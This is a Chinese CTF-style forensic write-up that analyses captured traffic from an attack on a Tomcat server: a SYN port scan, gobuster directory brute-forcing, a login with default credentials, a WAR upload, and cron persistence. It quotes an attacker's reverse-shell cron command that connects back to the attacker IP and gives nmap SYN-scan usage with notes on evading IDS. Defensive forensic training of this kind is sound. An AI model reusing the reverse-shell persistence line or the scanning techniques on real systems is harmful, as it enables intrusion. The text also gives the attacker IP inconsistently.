第六章 流量特征分析-常见攻击事件 Tomcat
第六章 流量特征分析-常见攻击事件 Tomcat
1. 在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag
分析黑客的扫描行为这里我们要识别恶意扫描特征
恶意扫描通常表现为大量SYN请求(TCP半连接扫描),这是Nmap等工具常用的扫描方式。攻击者会向目标服务器多个端口发送SYN包,探测开放端口
我们使用命令tcp.flags.syn == 1 && tcp.flags.ack == 0过滤流量包
tcp.flags.syn == 1:筛选TCP协议中 SYN标志位(Synchronize)被置位(值为1) 的数据包。SYN标志用于建立TCP连接的初始握手(第一次握手)。tcp.flags.ack == 0:筛选 ACK标志位(Acknowledgment)未被置位(值为0) 的数据包。ACK标志用于确认数据接收(第二次握手后出现)。- 组合逻辑:该命令捕获 仅包含SYN请求而无ACK响应的TCP包,即TCP连接的第一次握手包。
那么应该有人问了,tcp的三次握手跟黑客的扫描有什么关系吗?
这个时候要了解一下端口扫描的核心机制
- 全连接扫描(TCP Connect扫描) :黑客通过完整的三次握手探测目标端口状态。
- 黑客发送
SYN包(第一次握手)→ 若目标端口开放,则回复SYN/ACK(第二次握手)→ 黑客发送ACK完成连接(第三次握手)。此时确认端口开放。 - 若端口关闭,目标会回复
RST/ACK包。 - 缺点:完整握手会被系统日志记录,易被管理员发现。
- 黑客发送
- 半连接扫描(SYN扫描) :黑客仅进行前两次握手,规避日志记录。
- 黑客发送
SYN→ 收到SYN/ACK即判定端口开放 → 不发送第三次ACK,而是直接中断连接。 - 由于连接未完全建立,目标系统不会记录完整会话,隐蔽性更强
- 黑客发送
- 暴露服务信息:通过扫描结果,黑客可识别目标开放的端口及运行的服务(如HTTP、FTP),为后续攻击提供路径
并且黑客在TCP SYN扫描中使用不含实际数据内容(Payload)的SYN包,是一种精心设计的协议层利用策略,其核心原因和原理如下:
一、协议规范要求:SYN包本质是握手信号
TCP三次握手的 第一次握手(SYN包) 在协议设计上仅用于建立连接协商,而非数据传输阶段。根据TCP/IP协议规范:
- SYN包仅包含控制标志位和序列号:其作用是发起连接请求并同步初始序列号(ISN),无需携带应用层数据(如HTTP、FTP内容)。
- 协议栈自动处理:操作系统网络栈在发送SYN包时,默认不附加Payload,因为连接尚未建立,传输数据无效。
示例:Wireshark抓包显示,正常SYN包中"Data"字段长度为0。
二、黑客的隐蔽性需求:规避检测和日志
黑客刻意保持SYN包无内容,是为了最大化扫描的隐蔽性:
-
规避入侵检测系统(IDS):
- 含Payload的SYN包(如填充虚假HTTP数据)会被识别为异常流量(如伪造攻击包)。
- 空Payload的SYN包更接近合法握手流量,难以被Snort等IDS规则标记。
-
避免系统日志记录:
-
完整连接(如TCP Connect扫描)会在目标系统留下日志记录。
-
半开扫描(SYN扫描)通过发送RST中断连接,无Payload的SYN包不会触发应用层日志,仅内核层可能记录。
-
# Nmap SYN扫描命令:无Payload且不建立完整连接 nmap -sS 192.168.1.1
-
这里我们通过命令过滤完数据包后基本可以确定14.0.0.1为黑客的ip地址

原因如下:
-
可以看到这个ip地址对多端口进行了扫描443,3306,22等一些常用端口
-
他的窗口大小为1024符合攻击流量特征
-
他的ack响应设置为0无响应,并且设置了RST标志位来强制终止连接,几乎无
SYN-ACK → ACK的完整握手流符合恶意端口扫描特征 -
这个ip的请求频率非常高
综上所述可以确定黑客的ip地址
flag{14.0.0.120}
案例分析( 典型攻击)
| 特征 | 正常流量 | 攻击流量 |
|---|---|---|
| SYN请求频率 | 低频(1-5次/分钟) | 87次/5秒(密集爆发) |
| 目标端口 | 固定(如443) | 22,80,443,139,445...(15+端口) |
| TCP窗口大小 | >16384 | 1024 |
| SYN-ACK响应率 | >90% | 0%(无ACK响应) |
| 后续行为 | 建立TLS连接 | HTTP路径爆破 |
2.找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag
将这个ip地址丢到工具查询后发现地址在广州

flag{guangzhou}
3.哪一个端口提供对web服务器管理面板的访问? flag格式:flag
对流量包进行过滤
http && ip.addr == 14.0.0.120

点开第一个进行http流追踪

可以看到端口和tomcat版本信息
flag{8080}
4.经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag
按照长度排序,在下面产生了大量的404请求

右键http流追踪看看

可以看到这里黑客使用的工具
flag{gobuster}
5.攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?
继续分析流量包在下面翻到一个302跳转
302状态码表示临时重定向(Temporary Redirect),即请求的资源已被临时移动到新的URI地址
、
右键http追踪流分析一下
往下划,前面的数据包都是401,从这里开始变为200
基本上可以确定这里是账号密码:YWRtaW46dG9tY2F0
拿去解密一下
flag{admin-tomcat}
6.攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag
继续分析流量包,题目告诉我们登录成功
在长度为712这里右键http流追踪

点进去就发现这里上传了一个压缩包JXQOZY.war
flag{JXQOZY.war}

7.攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息
1.权限维持的本质
攻击者在成功提权后,需通过持久化机制确保权限不因系统重启或会话中断而丢失。常见手段包括:
- 添加恶意定时任务(cron)
- 植入启动脚本(rc.local/systemd)
- 修改系统服务
- 创建隐藏后门账户
2.流量分析的关键切入点
- HTTP请求中的命令执行痕迹:攻击者通过Web漏洞(如Tomcat上传漏洞)执行系统命令。
- 反向Shell建立后的后续操作:重点关注建立反弹Shell后的流量(如执行
crontab命令)。 - 协议特征:过滤
POST请求(上传文件)和包含/bin/bash、cron等关键词的流量。
题目提示我们:某种任务里的信息
我们先优先尝试搜索定时任务(cron)的创建痕迹
http contains "crontab" || tcp contains "cron" # 搜索cron相关流量

果真查到了,将这三条命令整理一下
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron.
cronta b -i cron
cronta b -l cron
该命令会创建每分钟执行一次的反向Shell,确保权限持久化
flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}
扩展
cron 是 Unix/Linux 系统中的核心任务调度守护进程(daemon) ,用于在预定的时间、日期或固定间隔自动执行命令或脚本(称为“cron 作业”)。其核心目标是 自动化重复性任务







浙公网安备 33010602011771号